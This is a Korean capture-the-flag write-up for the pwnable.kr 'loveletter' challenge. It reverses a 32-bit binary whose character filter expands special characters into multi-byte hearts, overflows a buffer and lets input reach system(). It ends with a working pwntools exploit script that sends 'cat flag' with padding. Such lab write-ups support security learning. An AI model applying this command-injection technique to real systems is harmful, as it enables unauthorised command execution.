[Rookiss]loveletter

loveletter_WriteUp

보시면.. 마지막.. 중요한건 사랑..이야? -최지원
시련 당하셨을까요? 보니까 문제 이름이랑 결과랑 유사하던데 생각하면서 합시다.

아.. 왜 32bit인데 ㅠ

파일을 받아서 열어보니까.. 실행파일이고 리버싱 할 부분이 너무 많아서 IDA 사용!

보시면.. 256(0x100)의 memset도 하였고(UAF X).. s 변수에 0x100만큼
fgets로 입력을 받기에 bof가 안되겠네요 그 이후 18번째 protect에 인자를 전달합니다.

또한 21번부터 25번까지 각 인자를 지닌 메모리를 적재하여 idx에 적재합니다

그리고 memcpy에서 prolog와 epilog는 각각 확인해봅시다.

해당 문자열을 반환하는군요!
또한 마지막으로 prolog와 protect 그리고 epilog를 전부 puts로 치환합니다.
고로 끝에 null바이트가 오면 종료된다는 점! 추후에 로직에서 설명되겠지만..

puts로 문자열을 출력하고 system에서 loveletter를 return system(loveletter)로 반환하는 로직임
그리고 맨밑에 system 함수로 loveletter를 받습니다.
이 부분이 bof가 발생해야하는지 알아봅시다.

v8의 함수에 readgsdword라고 특수문자를 읽어드려서.. 문자를 바꾸는 구문으로 보입니다.
대충 보이니까 변수와 인자들은 분석할 필요가 없겠죠?
0xa599e2로 바꾸는 거 같습니다. 그게 뭐인지 모르기에 실행시켜봅시다.

으음.. 화이트필터에 있는 특수문자들이 하트로 변하는군요.
이렇게 보면 어떻게 할지를 모르겠으니까 위의 핵심 로직을 다시 살펴봅시다.

치환 값은 213에서 치환되는 값을 확인할 수 있습니다.
중간마다 계속 strlen을 통해 기존 문자열 길이를 특수문자와 기존 문자열을 계속 비교 체크합니다.
그럼 분명히 문자열의 길이의 변화가 생겼다는 의미겠죠?

오른쪽의 strlen을 두개 불러우는 부분에서 첫번째는 DWORD PTR에 그냥 적용되나 [ebp-0x13]
두번째는 eax에 ebp-0x10으로 메모리 이동 이것을 DWORD PTR에 적재합니다.
그럼 DWORD는 4byte이고 문자열은 기본 1byte 위 메모리 크기의 차는 3byte..

그럼 1에서 4byte만큼 치환 과정에서 변하고 4byte의 ptr에 저장하기에
결과적으론 차이가 3byte로써 추가됩니다.

위 실행화면을 본다면 'I love '와 ' very much!'라는 두 문자열 사이에 우리가 입력할
부분이 생기는군요 그럼 payload가 어떻게 설계할지 감이 오는데 보호기법을 살펴봅시다.

위에 보시면 외부 명령어 불가(NX)이며, 카나리가 걸려있으므로써 상당히 난해합니다.
또한 ASLR은 필수로 적재되어 있겠죠?

처음엔 rtl과 같은 공격기법을 생각했으나.. 인자가 system에서 적재하여 사용되기에
이것을 이용한다면 매우 쉬운 문제겠구나!

---

Exploit design(Senario)

아까 특수문자를 하트로 변환하고 안의 입력된 문자열을 작성하여 실행하므로
cat flag와 나머지는 다른 명령어가 입력되지 않게 공백 그리고 마지막을 특수문자로 buf를 채우면..
동작 로직을 마지막으로 확인하고 실행해봅시다.

system인자를 넣기 위해 buf의 크기에 맞게 254byte그리고 마지막은 특수문자를 더해 넣은 모습

그럼 epilog와 prolog의 메모리에 뭐가 적재되어 있으며, 메인 버퍼인 s에 뭐가 있는지 확인 ㄱ

참고로 보시면서 하세요

위와 같은 값을 가지며 스택의 특징상 s가 상위 esp에 적재되어 있을거기에
그 뒤에 나오는 저 두개의 값이 있으면 됩니다.

위와 같이 esp+0x10부터 있기에 257byte만큼 입력한다면 아래 드래그 된 부분이 null로 들어갑니다.
그러기에 /bin/sh를 넣어서 해볼까 생각했으나 이 뒤에는 null byte가 오기에 끊김으로 다른 값으로 하면

Senario

1. buf에 cat flag와 나머지를 더미값으로 buf의 길이-1만큼 채웁니다.
2. 마지막 문자를 특수문자를 넣어줍니다.
3. 실행흐름의 변조를 하지 않게 입력할 s문자열의 크기를 고려하기
   - 변조하면 다른 기법으로 풀어야하니까 위에 설게가 안 맞아요 ㅎ

cat flag(excute; 8byte) + dummy(245 byte) + *(3byte)

---

Exploit code

from pwn import*
 
p = ssh(user='loveletter', host='pwnable.kr', port=2222, password='guest').remote('localhost', 9034)
 
context(arch='i386', os='linux', endian='little')
#context.log_level='debug'
 
'''payload design & excute'''
#payload = '\bin\sh'
#payload += '\x90'*0xf4
 
payload = "cat flag"
payload += " "* 245
payload += "*"
 
p.sendline(payload)
p.interactive()

코드의 구성은 앞에서 다 설명했으므로 넘어가겠습니다. 심지어 어려운 부분도 아니고요
여기서 새롭게 보이는 핵심은..

이 부분!

pwnlib.tubes.ssh — SSH — pwntools 4.8.0 documentation

이거 하나를 잘 몰라서 process하고 해당 nc로 들어가서 해보고.. 하 1시간을 그렇게 날렸는데
앞으로는 pwntools의 문서도 좀 더 봐보고 구글링 좀 늘리고 해야겠네요

여기서 원하시는 비어있는 포트를 확인해주시고 사용하시면..

---

참고 자료

 

 

참고 이미지